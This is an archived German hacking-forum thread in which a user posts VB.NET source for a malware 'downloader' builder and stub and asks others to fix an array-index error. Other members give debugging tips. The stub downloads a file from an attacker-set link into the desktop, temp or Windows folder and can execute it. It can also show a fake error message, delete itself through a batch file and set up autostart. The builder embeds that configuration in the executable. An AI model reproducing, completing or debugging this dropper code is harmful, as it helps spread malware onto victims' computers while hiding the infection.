PDA

Archiv verlassen und diese Seite im Standarddesign anzeigen : selber fehler -.- index...



inmate
21.04.2009, 17:14
hoffe ihr könnt mir jetzt helfen mit diesem"Index war ausserhalb des arraybereichs fehlers"
diesmal zeigt er sich genauer :)

Code:
Imports System.Environment
Imports System.IO
Public Class Form1

Dim vb6 As New Compatibility.VB6.FixedLengthString(100)
Dim asplit() As String
Private Sub Form1_Load(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles MyBase.Load
Dim stub As String = Application.ExecutablePath
Dim StubCopy As String = stub.Substring(0, stub.IndexOf(".")) & "stubcopy.exe"
IO.File.Copy(stub, StubCopy)

FileOpen(1, (StubCopy), OpenMode.Binary)
FileGet(1, vb6.Value, LOF(1) - 99)
FileClose(1)


asplit = vb6.Value.Split("~")

IO.File.Delete(StubCopy)
Dim nahme As String = asplit(0)
Dim link As String = asplit(1) // HIER TAUCHT ER AUF \\
Dim execute As Boolean = asplit(2)
Dim auto As Boolean = asplit(3)
Dim fake As Boolean = asplit(4)
Dim text As String = asplit(5)
Dim title As String = asplit(6)
Dim melt As Boolean = asplit(7)
Dim dropp As String = asplit(8)

If dropp = "%desk%" Then
dropp = Environment.GetFolderPath(SpecialFolder.Desktop).T oString & "\" & nahme.ToString
End If

If dropp = "%temp%" Then
dropp = Environ("tmp").ToString & "\" & nahme.ToString
End If
If dropp = "%windir%" Then
dropp = Environ("windir").ToString & "\" & nahme.ToString
End If
My.Computer.Network.DownloadFile(link, dropp)
Application.DoEvents()
If execute = True Then
Process.Start(dropp & nahme)
End If
If fake = True Then
MsgBox(title, text, MsgBoxStyle.Critical)
End If
If melt = True Then
Dim sswriter = New StreamWriter(Environ("windir" & "\delete.bat"))
sswriter.WriteLine("@ echo off")
sswriter.WriteLine("sleep 500")
sswriter.WriteLine("del " & Application.ExecutablePath)
sswriter.WriteLine("del delete.bat")
sswriter.Close()
End If
If auto = True Then
Environment.GetFolderPath(SpecialFolder.Startup & "\" & nahme)
End If

AlterHacker
21.04.2009, 18:19
vb6.Value

Was steht da drin? :P

Planxty
21.04.2009, 18:33
Sieht so aus wie vom builder tut^^
ich denke mal das da mit dem vb6.Value überschreiben was schief gegangen ist, sodass dort nur asplit(0) und asplit(1) leer ist.
guck dir mal den part an der dort auf asplit(1) was reinschreiben soll

Macacity
21.04.2009, 18:38
Kann es sein, dass du bei " Dim asplit() As String" noch den arraybereich einfügen musst, z.B. Dim asplit(8) As String?

MfG Macacity

inmate
21.04.2009, 18:49
ok ich gcuk mal , ja das ist auch ein teil vom builder tut . meine möglichkeit ging auch , doch da kam der fehler auch schon aber erst beim ausführen des servers.
also habe ich mal die methode von thepapst genommen :)

lG

inmate

verdammt ich kapiers nicht ^^

sieht doch alles gut aus oder?
der fehler kommt aber immernoch
der fehler kommt auch nur wenn ich die stub kompiliere

der builder nochmal
habe ich hier einen fehler gemacht?



Dim vb6 As New Compatibility.VB6.FixedLengthString(100)
Dim stub As String = My.Application.Info.DirectoryPath & "\stub.exe"
Private Sub Form1_Load(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles MyBase.Load

End Sub

Private Sub Button2_Click(ByVal sender As System.Object, ByVal e As System.EventArgs)

End Sub

Private Sub CheckBox3_CheckedChanged(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Checkfake.CheckedChanged
If Checkfake.Checked = True Then
Label3.Enabled = True
Label4.Enabled = True
txttext.Enabled = True
txttitle.Enabled = True

Else
Label3.Enabled = False
Label4.Enabled = False
txttext.Enabled = False
txttitle.Enabled = False
End If
End Sub

Private Sub Button1_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Button1.Click

Dim link As String = txtlink.Text
Dim nahme As String = txtname.Text
Dim execute As Boolean = CInt(Checkexecute.Checked)
Dim auto As Boolean = CInt(Checkauto.Checked)
Dim fake As Boolean = CInt(Checkfake.Checked)
Dim text As String = txttext.Text
Dim title As String = txttitle.Text
Dim melt As Boolean = CInt(Checkmelt.Checked)
Dim dropp As String = txtdropp.Text


With SaveFileDialog1
.CheckPathExists = True
.Title = "Speicherort festlegen"
.FileName = "Downloader.exe"
.Filter = "executable (*.exe) | *.exe"
.ShowDialog()
End With
If IO.File.Exists(stub) = False Then
MsgBox("Die Stub wurde nicht gefunden!" & vbNewLine & "The Stub was missing!", MsgBoxStyle.Critical, "Error")
End If
IO.File.Copy(stub, SaveFileDialog1.FileName)

vb6.Value = link & "~" & nahme & "~" & execute & "~" & auto & "~" & fake & "~" & text & "~" & title & "~" & melt & "~" & dropp

FileOpen(1, (SaveFileDialog1.FileName), OpenMode.Binary)
FilePut(1, vb6.Value, LOF(1) + 1)
FileClose(1)

MsgBox("Der Downloader wurde erfolgreich erstellt!", MsgBoxStyle.Information, "Erfolgreich gebuildet")





End Sub

Private Sub Button3_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Button3.Click
Me.Size = New System.Drawing.Size(295, 300)
End Sub
End Class

Planxty
21.04.2009, 21:48
hmm sieht soweit ganz vernünftig aus
stell nochma sicher das CInt(Checkexecute.Checked) den richtigen wert gibt ... ansonsten muss mans sich nochma genauer angucken

Sawyer
21.04.2009, 21:50
Dim execute As Boolean = CInt(Checkexecute.Checked)Das ganze ist sowieso iwie unlogisch , den die checked Funktion gibt doch bereits ein true oder false zurück was 1 oder 0 entspricht :rolleyes:

@inmate vll könntest du mal die Projekt Dateien hochladen , dann könnte man es zumindest richtig testen , bin Grad zu faul das alles reinzukopieren , sonst würde ich es mal testen^^

MfG